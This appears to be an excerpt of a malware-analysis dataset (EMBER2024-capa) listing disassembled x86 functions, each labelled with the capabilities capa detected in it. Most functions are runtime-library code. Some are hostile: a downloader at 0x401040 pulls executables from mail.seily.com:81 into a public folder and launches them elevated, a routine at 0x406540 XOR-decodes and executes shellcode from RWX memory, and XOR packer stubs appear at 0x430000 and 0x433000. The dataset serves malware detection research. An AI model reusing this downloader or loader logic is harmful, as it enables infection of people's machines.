joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41649c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040d7e0
mov dword [ebp - 0x14], eax
cmp dword [0x4319b0], esi
jne 0x41658f
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41651c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41666f
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41666f
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41666f
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4319b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4319b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4319b8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4319c0], eax
test eax, eax
je 0x41658c
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4319bc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4165b4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4165a7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4165c9
push 4
pop eax
jmp 0x416671
cmp dword [ebp - 0x14], esi
je 0x4165c9
push dword [0x4319b0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4165ae
mov eax, dword [0x4319bc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x416627
cmp dword [0x4319c0], edi
je 0x416627
push eax
call ebx
push dword [0x4319c0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x416627
test eax, eax
je 0x416627
call ecx
test eax, eax
je 0x41661c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41661c
test byte [ebp - 8], 1
jne 0x416627
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x416657
mov eax, dword [0x4319b4]
cmp eax, edi
je 0x416654
push eax
call ebx
test eax, eax
je 0x416654
call eax
mov esi, eax
test esi, esi
je 0x416654
mov eax, dword [0x4319b8]
cmp eax, edi
je 0x416654
push eax
call ebx
test eax, eax
je 0x416654
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4319b0]
call ebx
test eax, eax
je 0x41666f
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x416671
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406b91
mov esp, ebp
pop ebp
ret
Function at 0xee4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00ee41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xee407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xee406a
add dl, dl
jne 0xee4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xee40dc
xor eax, eax
add dl, dl
jne 0xee4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xee417d
add dl, dl
jne 0xee40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xee40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xee40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xee40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xee40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xee4075
mov eax, 1
add dl, dl
jne 0xee40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xee40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xee40e1
sub eax, ebx
mov ebx, 1
jne 0xee4128
mov ecx, 1
add dl, dl
jne 0xee410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xee4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xee4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xee4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xee413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xee414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xee4136
cmp eax, 0x7d00
jae 0xee416d
cmp eax, 0x500
jb 0xee4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xee4075
cmp eax, 0x7f
ja 0xee4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xee4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xee419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xee4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40181c
Capabilities:
Hash data using murmur3

Disassembly:
ror ecx, 0x10
mov dword [ebp - 0x74], ecx
pop ebx
pop esi
pop edi
ret
push edi
push esi
push ebx
mov ebx, dword [ebp - 0x60]
test ebx, ebx
rol ebx, 0xf
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x20]
test ebx, eax
ror eax, 0x11
cmp ecx, eax
jne 0x4018d4
mov ecx, 0x200000
rol ecx, 0xd
add ebx, ecx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x24]
test edi, eax
rol eax, 0xc
cmp ecx, eax
jne 0x4018d4
mov ecx, 0x800000
ror ecx, 0x15
add ebx, ecx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x2c]
test edi, eax
rol eax, 0x12
cmp ecx, eax
jne 0x4018d4
mov ecx, 0x8000000
ror ecx, 0x19
add ebx, ecx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x38]
test esi, eax
ror eax, 0xc
cmp ecx, eax
jne 0x4018d4
mov ecx, 0x1000
ror ecx, 0xa
add ebx, ecx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
test esi, eax
rol eax, 0xf
cmp ecx, eax
jne 0x4018d4
jmp 0x401990
xor ecx, eax
xor esi, esi
mov edx, 0xff
ror edx, 8
jmp 0x401a00
cmp ecx, esi
je 0x401990
mov ecx, esi
jmp 0x401808
inc ecx
jmp 0x401808
mov edi, eax
and edi, edx
cmp edi, edx
jne 0x40197c
shl ecx, 8
shl eax, 8
jmp 0x401a00

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401040
Capabilities:
Check if file exists
Create process on windows
Download url
Get file attributes
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xc8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.C:UsersPublicDocuments_ttd.exe]
mov eax, dword [0x419a50]
mov ecx, 0x17
push esi
movups xmmword [ebp - 0x60], xmm0
push edi
movups xmm0, xmmword [0x419a20]
mov dword [ebp - 0x20], eax
lea edi, [ebp - 0xc0]
mov esi, str.C:UsersPublicDocumentslibOpenglRender.dll
lea eax, [ebp - 0x60]
movups xmmword [ebp - 0x50], xmm0
push eax
movups xmm0, xmmword [0x419a30]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [0x419a40]
movups xmmword [ebp - 0x30], xmm0
call edi
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp eax, 0xffffffff
je 0x4010c9
test al, 0x10
je 0x401103
push 0
push 0
lea eax, [ebp - 0x60]
push eax
push str.http:__mail.seily.com:81_download_attachment_NVHYtN2bu9Ncpk2N_KFXK2Z_KcsMK_HardwareDetect.exe
push 0
call esi
test eax, eax
je 0x401103
push 0x419ab4
call fcn.00401010
add esp, 4
mov eax, 2
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040119e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0xc0]
push eax
call edi
cmp eax, 0xffffffff
je 0x401115
test al, 0x10
je 0x401152
push 0
push 0
lea eax, [ebp - 0xc0]
push eax
push str.http:__mail.seily.com:81_download_attachment_NVHYtN2bu9Ncpk2N_KFXK2Z_KcsMK_libOpenglRender.dll
push 0
call esi
test eax, eax
je 0x401152
push 0x419acc
call fcn.00401010
add esp, 4
mov eax, 3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040119e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
nop word [eax + eax]
push 1
push 0
push 0
lea eax, [ebp - 0x60]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x401189
push 0x3e8
call edi
inc esi
cmp esi, 6
jl 0x401160
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040119e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x40199d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019dc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019dc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019dc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019dc
cmp dword [ecx + 0x74], 0xe
jbe 0x4019dc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407d56
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415608
push 0x415600
push str.FlsAlloc
push 0x1f
call fcn.00407c15
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407d8a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
jmp 0x407d90
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x407dd4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415618
push 0x415610
push str.FlsGetValue
push 0x21
call fcn.00407c15
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e0b
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407e13
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415620
push 0x415618
push str.FlsSetValue
push 0x22
call fcn.00407c15
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e4d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b3e2
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b47f
push ebx
push esi
call fcn.0040b3ab
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b33f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b42c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b47e
push edi
push eax
call fcn.00408505
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b44c
call fcn.00407aa8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b47d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b33f
add esp, 0x20
test eax, eax
jne 0x40b46b
push edi
call fcn.00407aa8
jmp 0x40b473
push ebx
call fcn.00407aa8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413710
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41373d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41373d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x31d77199
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, str.KeW
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x65cf394b
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x402470
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [ecx + 0x18]
mov ebx, dword [ecx + 0x14]
cdq
push edi
mov edi, eax
movzx eax, word [ecx + 0x1e]
xor edi, edx
sub edi, edx
shr eax, 3
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
test edi, edi
jle 0x402542
movsd xmm2, qword [0x41e668]
movsd xmm3, qword [0x41e678]
movsd xmm4, qword [0x41e660]
xor ecx, ecx
imul eax, ebx
mov dword [ebp + 8], ecx
mov dword [ebp - 0x10], eax
push esi
test ebx, ebx
jle 0x402536
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp - 8]
lea eax, [esi + 1]
mov edx, esi
add ecx, eax
sub edx, eax
sub esi, eax
lea esp, [esp]
movzx eax, byte [edx + ecx + 2]
movd xmm1, eax
movzx eax, byte [ecx]
movd xmm0, eax
movzx eax, byte [esi + ecx]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
mulsd xmm0, xmm3
mulsd xmm1, xmm2
addsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm4
addsd xmm1, xmm0
cvttsd2si eax, xmm1
mov byte [edx + ecx + 2], al
mov byte [ecx], al
mov byte [esi + ecx], al
add ecx, edi
dec ebx
jne 0x4024e0
mov edi, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add ecx, eax
dec edi
mov dword [ebp + 8], ecx
mov dword [ebp - 4], edi
jne 0x4024c4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x402a60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x402b66
cmp byte [ebx + 0x45], 0
je 0x402b66
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402a90
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [ebp - 0x1c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
cmp ecx, 0x10
cmovae eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 8
mov byte [eax + 8], 0
push edi
jmp 0x402ac0
cmp dword [ebp - 8], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [ebp - 4]
mov edx, dword [ecx]
push eax
mov eax, dword [ebp - 0xc]
lea edi, [ebp - 0x1c]
cmovae edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402afa
dec eax
je 0x402afe
sub eax, 2
je 0x402b4a
xor bl, bl
jmp 0x402b4c
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 4]
cmp ecx, 0x10
lea eax, [ebp - 0x1c]
cmovae eax, edx
sub esi, eax
je 0x402b30
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [ebp - 0x1c]
cmovae eax, edx
push 1
push eax
call fcn.0040833f
add esp, 0x10
cmp esi, eax
jne 0x402af6
cmp byte [ebx + 0x45], 0
je 0x402b4a
test esi, esi
jne 0x402ac0
push esi
push 8
lea ecx, [ebp - 0x1c]
call fcn.00403ce0
jmp 0x402ac0
mov bl, 1
cmp dword [ebp - 8], 0x10
pop edi
pop esi
jb 0x402b5f
push dword [ebp - 0x1c]
call fcn.004072d2
add esp, 4
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0xffffffff
jne 0x40541a
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x20]
push esi
mov edx, dword [eax]
push edi
test edx, edx
je 0x40544e
mov esi, dword [ebx + 0x30]
mov edi, dword [esi]
lea eax, [edi + edx]
cmp edx, eax
jae 0x40544e
lea eax, [edi - 1]
mov dword [esi], eax
mov ecx, dword [ebx + 0x20]
pop edi
mov edx, dword [ecx]
pop esi
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov byte [edx], al
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x50], 0
jne 0x405460
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebx + 0xc]
lea eax, [ebx + 0x44]
cmp dword [edx], eax
jne 0x405481
mov eax, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x3c]
mov dword [edx], eax
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
sub ecx, ecx
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
cmp dword [ebx + 0x40], 0
jne 0x4054aa
push dword [ebx + 0x50]
movsx eax, cl
push eax
call fcn.00407f7b
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 4], cl
mov ecx, 0xf
mov byte [ebp - 0x24], 0
xorps xmm0, xmm0
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
cmp ecx, 0x10
cmovae eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], 8
mov byte [eax + 8], 0
cmp dword [ebp - 0x10], 0x10
mov esi, dword [ebx + 0x40]
lea eax, [ebp - 8]
mov edi, dword [esi]
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
cmovae ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x24]
cmovae edx, dword [ebp - 0x24]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 0x48]
push eax
mov ecx, esi
call dword [edi + 0x1c]
test eax, eax
js 0x405598
cmp eax, 1
jg 0x40557b
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 8]
cmp edi, 0x10
lea eax, [ebp - 0x24]
cmovae eax, ecx
sub esi, eax
je 0x40554c
push dword [ebx + 0x50]
lea eax, [ebp - 0x24]
push esi
cmp edi, 0x10
cmovae eax, ecx
push 1
push eax
call fcn.0040833f
add esp, 0x10
cmp esi, eax
jne 0x405598
lea eax, [ebp - 4]
mov byte [ebx + 0x45], 1
cmp dword [ebp - 0xc], eax
jne 0x405576
test esi, esi
jne 0x4054d6
cmp dword [ebp - 0x14], 0x20
jae 0x405598
push esi
push 8
lea ecx, [ebp - 0x24]
call fcn.00403ce0
jmp 0x4054d6
mov ebx, dword [ebp + 8]
jmp 0x40559b
cmp eax, 3
jne 0x405598
push dword [ebx + 0x50]
push dword [ebp - 4]
call fcn.004012d0
or ecx, 0xffffffff
test al, al
cmovne ecx, dword [ebp + 8]
mov ebx, ecx
jmp 0x40559b
or ebx, 0xffffffff
cmp dword [ebp - 0x10], 0x10
jb 0x4055ac
push dword [ebp - 0x24]
call fcn.004072d2
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406540
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2faf080
call fcn.0040684e
mov esi, eax
add esp, 4
test esi, esi
je 0x40665e
lea ecx, [esi + 0x2faf080]
cmp esi, ecx
je 0x40658e
sub ecx, esi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
xor ecx, ecx
lea edi, [ecx + 0xd]
jmp 0x4065a0
movzx eax, byte [ecx + section..data]
ror al, 3
xor al, byte [ebx + str.gtcuqbmhdpnhw]
add ecx, 3
mov byte [ecx + 0x426ffd], al
lea eax, [ebx + 1]
cdq
idiv edi
movzx eax, byte [ecx + 0x426ffe]
ror al, 3
xor al, byte [edx + str.gtcuqbmhdpnhw]
mov byte [ecx + 0x426ffe], al
lea eax, [edx + 1]
cdq
idiv edi
movzx eax, byte [ecx + 0x426fff]
ror al, 3
xor al, byte [edx + str.gtcuqbmhdpnhw]
mov byte [ecx + 0x426fff], al
lea eax, [edx + 1]
cdq
idiv edi
mov ebx, edx
cmp ecx, 0x170d
jb 0x4065a0
lea eax, [ebp - 4]
push eax
push 0x40
push 0x170d
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push esi
call fcn.00408905
add esp, 4
lea eax, [ebp - 0x3c]
push eax
push str.ddser.bmp
call fcn.00402550
mov esi, eax
test esi, esi
je 0x40665e
push esi
lea eax, [ebp - 0x3c]
push eax
call fcn.00402470
push esi
lea eax, [ebp - 0x3c]
push eax
push str.rtertert.bmp
call fcn.00402770
push esi
call fcn.00408905
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415216
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429380]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040b64e
mov dword [ebp - 0x14], eax
cmp dword [0x42b284], edi
jne 0x415307
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x415294
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4153e7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4153e7
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4153e7
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x42b284], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x42b288], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x42b28c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42b294], eax
test eax, eax
je 0x415304
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42b290], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41532c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41531f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x415341
push 4
pop eax
jmp 0x4153e9
cmp dword [ebp - 0x14], edi
je 0x415341
push dword [0x42b284]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x415326
mov eax, dword [0x42b290]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41539f
cmp dword [0x42b294], esi
je 0x41539f
push eax
call ebx
push dword [0x42b294]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41539f
test eax, eax
je 0x41539f
call ecx
test eax, eax
je 0x415394
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x415394
test byte [ebp - 8], 1
jne 0x41539f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4153cf
mov eax, dword [0x42b288]
cmp eax, esi
je 0x4153cc
push eax
call ebx
test eax, eax
je 0x4153cc
call eax
mov edi, eax
test edi, edi
je 0x4153cc
mov eax, dword [0x42b28c]
cmp eax, esi
je 0x4153cc
push eax
call ebx
test eax, eax
